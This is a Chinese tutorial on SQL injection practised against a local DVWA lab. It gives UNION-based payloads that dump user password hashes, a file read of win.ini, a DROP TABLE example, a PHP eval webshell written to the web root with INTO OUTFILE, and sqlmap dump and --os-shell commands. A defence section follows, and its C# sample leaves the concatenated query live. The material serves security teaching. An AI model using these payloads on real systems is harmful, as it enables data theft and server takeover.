当前位置:Gxlcms > 数据库问题 > 网络安全之sql注入

网络安全之sql注入

时间:2021-07-01 10:21:17 帮助过:16人阅读

1.何为Sql注入?

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.--百度百科之Sql注入

那sql注入的原理是啥呢?

技术分享图片

简单点说,大家都知道,我们网站的一些数据都要经过数据库去查询,我们只要找到服务器对某些某些请求缺少校验,就能找到漏洞
举个例子:
Select from TableA where id="B"这个是个很正常的一个sql查询语句
注入的本质就是把用户输入的数据当做代码去执行,这里有两个关键条件,一就是用户能控制输入,二就是原本程序要执行的代码拼接了用户输入的数据
这里假设B我们可以控制我们可以使代码变成以下方式
Select
from TableA where id=‘‘;drop table TableA--‘‘
显而易见,如果数据库执行了此条语句将会把表TableA给删除了,带来了不可预料的影响。
Sql注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖裤)

sql注入都有哪些类型呢?
①.sql盲注,包括布尔盲注和时间注入。
②.sql回显注入,包括报错注入和union联合查询注入。我们今天主要讲的就是sql回显注入。

2.sql注入实战

(1)sql注入的流程

技术分享图片

(2)工具、测试平台及靶机的搭建

①.DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
技术分享图片
DVWA传送门

②.由于dvwa是一个php和mysql的环境,故我使用了功能强大的建站集成软件包XAMPP(Apache+MySQL+PHP+PERL)
技术分享图片
具体的搭建流程有兴趣的同学可以去下载来看看
DVWA+XAMPP搭建流程传送门

③.火狐hackbar插件
技术分享图片
hackbar使用教程传送门

(3)sql注入测试

声明:因为测试平台数据库为mysql,所以接下来的测试语句全部为mysql语句

①.首先我们先把dvwa的安全模式设置为low模式,以便于我们进行测试。
技术分享图片

②.我们选择sql注入栏目,判断是否有sql注入
在渗透一个web应用时我们首先要了解业务,我们先输入一个正常的数字
技术分享图片

当然,我们也可以用我们熟悉的postman来请求http
技术分享图片

那我们输入数据时,web应用为什么能返回我们需要的数据呢?
在座的各位都是这方面的老司机,对于web数据交互都很熟悉。
技术分享图片

通过这个流程,我们完全可以猜测下这个sql语句长什么样子。
select Firstname,Surname from 表 where userid=我们输入的id

那我们现在猜测了sql语句,但是要怎么去测试有没有漏洞呢?
我们发现当输入数据时url是发生变化的。

技术分享图片

我们尝试输入1‘,web程序给我们如下的回显:
技术分享图片

从回显信息中我们可以看出,在1‘附近有sql错误,那就证明了有可注入点,因为我们输入1时是正确的,但是输入了1‘却出现了错误。

那我们如何去测试验证这个web程序的漏洞呢?以下是三种常用的注入POC(验证性观点测试)
技术分享图片

当我们输入 1‘ or ‘1‘=‘1 时,我们发现,web程序回显出一堆的数据:
技术分享图片

我们发现,这里已经执行成功了,证明sql语句被正常执行了

③.读取数据
那根据我们刚才讲的sql注入流程,我们判断完sql注入后,我们接下来便是要获取数据
我们都知道,sql中的引号是要闭合的,在sql注入中,经常使用注释符,来构造闭合的语句,在mysql中注释符后应加空格,否则会报错。

在获取数据之前,我们还要做一件很重要的事,那就是确定查询的字段数
我们输入 1‘ order by 10-- ,web程序给我们以下的回显
技术分享图片

证明了字段数一定小于10,那我们现在如何去确定字段数呢,我们采用二分法,一步步去看字段数是为几。
技术分享图片

我们尝试了几个后,发现3还是太大,那就是说明字段数为2.

接下来我们就要确定sql注入的回显点
我们使用 xx‘ union select 1,2-- 语句来确定回显点
技术分享图片

此时的sql语句应该是变作 select Firstname,Surname from 表 where userid=‘xx‘ union select 1,2--‘ 这样Firstname,Surname显示的数据便是我们union查询的数据

接下来我们查看下数据库的版本和数据库存放的目录
技术分享图片

我们也可以使用 xx‘ union select user(),database()-- 语句获取用户名和数据库名
技术分享图片

既然我们能查到这些信息,那么我们是否也能查询到数据库的所有信息呢?答案是肯定的。
接下来我们知道数据库就可以使用 xx‘ union select 1,table_name from information_schema.tables where table_schema=‘dvwa‘-- 来查询表名
技术分享图片

知道了表名,我们就可以使用 xx‘ union select 1,column_name from information_schema.columns where table_name=‘user‘-- 来查询列名
技术分享图片

我们就可以发现其中用户名和密码都为敏感数据。我们的目的就是要查询出这两个信息

接下来我们就可以查询用户名及密码等敏感数据,我们使用 xx‘ union select user,password from users-- 来查询数据
技术分享图片

我们发现密码是一串hash串,数了一下是32位,就极有可能是md5加密,去用解密工具解密一下,就得到了明文的密码。

我们不单单可以获取数据库的敏感数据,我们也可以获取系统的敏感数据,我们使用 xx‘ union select 1,load_file("c:\windows\win.ini")--
技术分享图片

当然,我们都想把一个漏洞利用最大化,除了能获取数据外,最理想的当然是控制服务器,最常见的就是写入webshell,我们上节课已经讲过了webshell和一句话木马
PHP一句话木马: <?php @eval($_POST[‘pass‘]);?>
接下来我们要做的就是如何把这个一句话木马写入。我们要写入一句话木马,就得知道应该写入哪里,这里要知道web应用程序的物理路径。常用的方法就是通过引发异常,导致应用报错,爆出物理路径。
xx‘ union select "xx","xx" into outfile "xx"--
技术分享图片

xx‘ union select "<?php @eval($_POST[‘pass‘]);?>","webshell" into outfile "C:\xampp\htdocs\dvwa\vulnerabilities\sqli\1.php"--
技术分享图片

我们通过上节课讲的中国菜刀进行访问,就可以进入文件管理了:
技术分享图片

学到这里,同学们可能就清楚了整个流程,但是会有同学问了,整个sql注入较为复杂,能不能有工具进行自动化注入呢? 接下来我们就我们学习一款注入神器工具--sqlmap

3.Sqlmap工具的使用

(1)Sqlmap为何被称为神器?

①.支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB,HSQLDB and Informix
支持的数据库范围极广,大部分常用的数据库都是支持的。

②.支持的参数位置:GET,POST or Cookie parameters or via the HTTP User-Agent request header

③.支持多种注入模式
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

联合查询注入,可以使用union的情况下的注入。

堆查询注入,可以同时执行多条语句的执行时的注入。

备注:
Youtube上有人做的使用sqlmap的视频:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的实例文章:
http://www.kali.org.cn/thread-22844-1-1.html
https://www.cnblogs.com/hongfei/p/3872156.html

(2).sqlmap的基本语法

技术分享图片

我们学习一个命令窗口的使用,首先要调出他的帮助菜单,sqlmap的帮助菜单命令为:
-h,--helper
-hh 这是更为详细的帮助菜单命令
sqlmap帮助菜单中文版传送门

(3).判断注入点

命令:python sqlmap.py -u "目标URL"
那这边我们就使用-u命令进行注入执行
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515"
技术分享图片

(4)获取数据

①.我们首先来获取下当前的用户和数据库名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=u2mj5vt49529rn6oerk7o50515" --current-user --current-db
技术分享图片

②.接下来我们根据刚才的流程我们获取下表:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa --tables
技术分享图片

③.然后就是字段名:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users --columns
技术分享图片

④.获取用户名和密码:
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --dump
使用-c指定字段 使用--dump获取数据
技术分享图片

他会自动帮我们的数据下载成csv格式保存

技术分享图片
技术分享图片

⑤.我们前面讲了可以上传webshell,其实sqlmap也是可以的
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low;PHPSESSID=nf85n3culj7p9mnodog647lgn2" -D dvwa -T users -C "user,password" --os-shell
技术分享图片
技术分享图片

我们也可以用中国菜刀直接去连
技术分享图片

接下来我们把dvwa安全级别上升,改为Medium级别,我们现在来看下sql注入测试界面有何变化?

技术分享图片

我们发现原来的输入框改成了下拉框,不是由我们输入而是让我们选择。
我们知道,数据的提交都是http请求,我们先试着选择1,然后打开谷歌开发者工具(F12),点击提交,我们可以看到,请求由原来的get请求变成了post请求,参数不变。

技术分享图片

这个时候我们就发现,其实跟我们之前差不多,我们也可以通过去改变参数。
我们可以通过一些抓包改包的工具去进行修改post参数。
这里值得注意的是当我们像简单模式一样注入sql语句xx‘ union select user(),database()--时,我们会发现引号会被转义符转义掉,此时我们直接去掉引号即可
我们这里换成postman请求http
技术分享图片

那我们也可以用sqlmap
python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --current-user --current-db
技术分享图片

接下来就跟我们初级的做法一样了,这里就不一一赘述。

我们再把安全级别调成High,我们看下界面变成什么样?
技术分享图片

我们可以清晰的看到,界面变成了点击弹出一个窗口,在弹出的窗口处输入数据,提交后回显到原来的界面,我们用low模式下的注入方法尝试,没有任何问题,都是可以的。
但是我们看看在sqlmap下可以嘛,我们发现不在同一个页面,导致不可以,那sqlmap有没有其他命令可以支持这个的呢?

python sqlmap.py -u "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/session-input.php/" --data "id=1&Submit=Submit" -p "id" --cookie "security=high;PHPSESSID=6lu0cd67q0m9s0vpck6mug2sl5" --second-url "http://127.0.0.1:8000/dvwa/vulnerabilities/sqli/" --current-user --current-db

技术分享图片

4.sql注入的防御

(1).减少错误消息提示

应用的异常信息应该给出尽可能少的提示(关闭debug调试模式),最好使用自定义的错误信息对原始错误信息进行包装。

(2).部署硬件防火墙

部署硬件web防火墙(WAF),可有效防止SQL注入等攻击。

(3).消除特殊字符,对字符串进行过滤

永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号与及特殊字符进行转换等。从以上的sql注入攻击实战我们可以发现,大部分的sql注入都需要填入一些特殊字符,比如引号和等号或者or等关键字
技术分享图片

这个是我们平台的登录界面,就是采用了消除特殊字符的方法,一旦有特殊字符,便返回输入不合法,从根源断绝sql注入。

(4)sql预编译传参

尽量不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取.在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。

C#  sqlservers
     //string sql = "select *from User_Info where User_SN=@UserNO and User_Pwd=@pwd and Grade_SN=@sel";
        //SqlParameter[] pars ={
        //                    new SqlParameter("@UserNO",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@pwd",SqlDbType.NVarChar,15),
        //                    new SqlParameter("@sel",SqlDbType.NVarChar,15)
        //                    };
        //pars[0].Value = UserNO;
        //pars[1].Value = pwd;
        //pars[2].Value = sel;

        string sql =string.Format(@"select *from User_Info where User_SN={0} and User_Pwd={1} and Grade_SN={2}",UserNO,pwd,sel);

java  MySQL
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values (‘"+var1+"‘,‘"+var2+"‘,"+var3+",‘"+var4+"‘)");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();

网络安全之sql注入

标签:ade   uri   var   res   增加   database   下载   video   shell   

人气教程排行